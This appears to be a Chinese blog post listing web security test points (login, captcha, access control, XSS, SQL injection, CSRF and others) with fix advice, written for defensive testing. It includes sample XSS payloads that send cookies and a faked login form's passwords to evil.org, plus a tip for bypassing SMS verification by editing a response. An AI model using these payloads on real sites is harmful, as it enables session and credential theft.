WEB安全测试要点总结

  • Post author:
  • Post category:其他


一、大类检查点:



二、测试项详细说明

上传功能

绕过文件上传检查功能

上传文件大小和次数限制

注册功能

注册请求是否安全传输

注册时密码复杂度是否后台校验

激活链接测试

重复注册

批量注册问题

登录功能

登录请求是否安全传输

会话固定:Session fixation attack(会话固定攻击)是利用服务器的session不变机制,借他人之手获得认证和授权,然后冒充他人。

关键cookie是否HTTPONLY:如果Cookie设置了HttpOnly标志,可以在发生XSS时避免JavaScript读取Cookie。

但很多Cookie需要给前端JS使用。所以这里只需要关注关键Cookie,即唯一标识用户及登录状态的会话标识需要添加这个属性。

登录请求错误次数限制

“记住我”功能:勾选“记住我”后,Cookie中记录了用户名和密码信息。。。

本地存储敏感信息

验证码功能

验证码的一次性

验证码绕过

短信验证码轰炸:如果这个接口没有限制策略,就会被人恶意利用

忘记密码功能

通过手机号找回:不过由于程序设计不合理,导致可以绕过短信验证码,从而修改别人的密码。(使用burpsuite抓包,修改响应值true)

通过邮箱找回

密码安全性要求

密码复杂度要求

密码保存要求

横向越权测试

不同用户之间session共享,可以非法操作对方的数据。

纵向越权测试

很多应用简单的通过前端判断,或者低权限角色看不到对应的菜单,但并未在后台去做当前登录用户是否有权限。

XSS测试

跨站脚本攻击(Cross Site Scripting):恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

反射型XSS:

利用请求参数param2,进行XSS注入,设置js等可执行或可跳转语句。param2=<script>document.write(‘<imgsrc=”http://evil.org?grabcookie.jsp?cookie=’+encodeURI(document.cookie)+'”/>’)</script>。

这个网站的已登录用户去点击,cookie会被发送到 evil.org 上去。

处理意见:对特殊字符转义输出,特别是'”<>这几个。

存储型XSS:

在论坛上发表帖子,假设论坛有漏洞,可以在帖子中注入下面的JS内容:

<script>

document.body.innerHTML=”<h1>PleaseLogin</h1><form

action=http://evil.org/grabpassword.jspmethod=post><br>User name:<input type=text

name=user><br>Password:<inputtype=text name=password></p><input type=submit

name=login></form>

</script>

当其他用户浏览该帖子时,就会弹出登录框,如图(用户名+密码登陆界面)。

这是页面中注入的XSS生成的,如果您输入了账号密码,那就被发送给黑客了。

处理意见:对特殊字符转义输出,特别是如下几个'”<>

DOM型XSS

基于DOM型XSS样例,相比较与Reflected、Stored XSS属于server side execution issues而言,DOM based XSS 是client(browser)side execution issue。

Step1:如下面请求的hash部分,由客户端JS动态执行产生XSS注入。

http://www.webapp.com/example.jsp?param1=value1#\u003ciframeοnlοad=alert(‘xss’)\u003e

Step2:动态生成:<divid=”m”><iframeοnlοad=”alert(‘xss’)”></iframe></div>


这个比较难测试,一般需要阅读页面中的JS代码,去分析。没有固定的测试步骤,还是需要大家自己多学习。不作为强制项,WebInspect扫过即可。

处理意见:对特殊字符转义输出,特别是'”<>。

SQL注入测试

SQL注入攻击的基本原理是通过构建特殊的输入参数,迫使后台数据库执行额外的SQL语句,从而达到获取数据库数据的目的。

这些输入参数往往包含恶意的SQL注入语句,后台处理程序没有对这些参数进行过滤,且所使用的数据库查询手段为拼接方式,进而导致敏感数据外泄。

在动态构造SQL语句的过程中,除了特殊字符处理不当引起的SQL注入之外,错误处理不当也会为Web站点带来很多安全隐患。

最常见的问题就是将详细的内部错误信息显示给攻击者。这些细节会为攻击者提供与网站潜在缺陷相关的重要线索。

在SQL注入的过程中,如果Web服务器关闭了错误回显,那么是不是就安全了呢?答案显然是否定的,攻击者仍然可以通过 “盲注”技巧测试SQL命令是否注入成功。


所谓”盲注”就是在服务器没有错误回显时完成的注入方式,攻击者必须找到一个方法来验证注入的SQL语句是否执行。

“盲注”主要分为两种类型:基于时间的盲注和布尔盲注。


测试方法(黑盒):sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,


测试方法(白盒):如果项目的数据库持久层框架是mybatis,并且他的sqlmap中编写方式都是使用#{xxx}方式,而非使用${xxx}方式,就不存在SQl注入问题。

注:sqlMap中尽量不要使用$;$使用的是Statement(拼接字符串),会出现注入问题。#使用的是PreparedStatement(类似于预编译),将转义交给了数据库,不会出现注入问题;前者容易出现SQL注入之类的安全问题,所以mybatis推荐使用#。

写接口限制测试

比如:找回密码的邮件。多次调用,造成邮件轰炸。

新增的接口,如写文章、上传文件等。这些接口如果没有任何限制,那么恶意用户使用程序无限循环的调用接口,就会写入大量的数据。通过并发、循环方式上传大量文件,填满磁盘,消耗服务器资源。

修复建议:对写入量大的接口(如上传)做必要的限制。

CSRF测试

CSRF(Cross-site requestforgery),中文名称:跨站请求伪造。用户C在为退出A的情况下,浏览B,B使用C的session非法访问A。

检查:

Ø  是否有防御CSRF的随机数。验证码、csrf_token等都是。 有则 (通过)

Ø  是否验证referer。有则(通过)

Ø  请求的参数均可推测,无CSRF防御机制。(不通过)

测试中,需要对所有写接口检查,可以采用如下方式,记录接口,标记是否已检查。

修复建议:

Ø  方法1:验证码

验证码制用户必须与应用进行交互,才能完成最终请求。因此在通常情况下,验证码能够很好地遏制CSRF攻击。

但是这种方式易用性方面似乎不是太好,并且对于简单的图形验证码也有很多绕过机制。防御CSRF的一种辅助手段

Ø  方法2:Referer 验证

当浏览器发送一个HTTP请求时一般都会在Referer中表明发起请求的URL。

通过Referer我们可以通过判断一个请求是否为同域下发起的来防御CSRF,但是Referer可能会包含一些敏感信息甚至在某些情况下能够被伪造。

因此我们无法依赖于Referer来作为防御CSRF的主要手段,但是可以通过Referer来监控CSRF攻击的发生。

Ø  方法3:Token验证

在请求原参数不变的条件下,新增了一个随机的、不可预测参数Token是目前最普遍有效的方式。

后端在对数据处理前会首先对Token参数进行验证,只有用户请求中的Token与用户Session(或Cookie)中的Token一致时,才会认为请求是合法的。

由于Token的存在,攻击者就无法构造一个完整的请求实施CSRF攻击,从而保证了网站或系统的安全。

敏感信息泄露

SVN信息泄露:有数据库账号和密码等信息;

页面泄露敏感信息:有些WEB应用,在返回给客户端的响应中,包含了敏感信息,例如密码。


目录遍历

在web应用中,如下图所示的显示目录文件列表,会带来一定的安全隐患(服务器文件列表)。

CRLF

CRLF就是HTTP响应头拆分漏洞。是对用户输入的CR 和LF字符没有进行严格的过滤导致的。

修复建议:过滤CR和LF字符。或者转义。

任意文件读取

URL重定向

点击劫持ClickJacking

XXE

SSRF